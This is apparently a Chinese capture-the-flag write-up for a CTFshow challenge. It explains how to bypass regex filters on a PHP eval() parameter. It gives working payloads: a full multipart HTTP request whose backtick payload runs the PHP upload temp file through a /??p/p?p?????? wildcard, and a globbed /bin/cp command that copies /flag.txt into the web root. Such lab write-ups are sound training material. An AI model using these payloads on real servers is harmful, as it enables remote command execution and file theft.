[CTFshow]红包题第二弹
查看源码提示 /?cmd 得到源码:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
分析代码可以得到以下关键信息:
- 不允许输入
大写字母
、数字
、小写字母a-o
、小写字母q-z
和$
,换句话说,可以输入的仅有小写字母p
和某些特殊符号。 - 被过滤了大部分特殊符号。可以用的还有
?
、.
、/
、反引号、空格等。
执行上传临时文件
php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的
upload_tmp_dir
就是这个临时文件的保存目录。linux下默认为/tmp
。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是phpXXXXXX
因此我们可以尝试用通配符/??p/p?p??????
去选中/tmp/php??????这个临时文件,然后临时文件的内容为
#! /bin/bash
ls /
构造URL为
?cmd=?><?=`.+/??p/p?p??????`;
这里反引号为shell_exec()
的作用,能够执行系统命令,.
为执行后面的文件
构造的上传表单:
POST /index.php?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 71c1a5d9-5c77-4f0a-9db0-277bfbd2659d.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 233
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/bash
ls /
-----------------------------10242300956292313528205888--
复制文件
根据上面的思路其实我们可以不去执行上传临时文件,尝试把flag.txt复制到网站的目录即可,但是这里有2个前提:首先是网站目录有写权限;其次是知道flag文件的名字。
payload:
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
相当于
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>
用cp命令,将flag.txt复制到p.ppp
接下来访问url/p.ppp,下载下来得到flag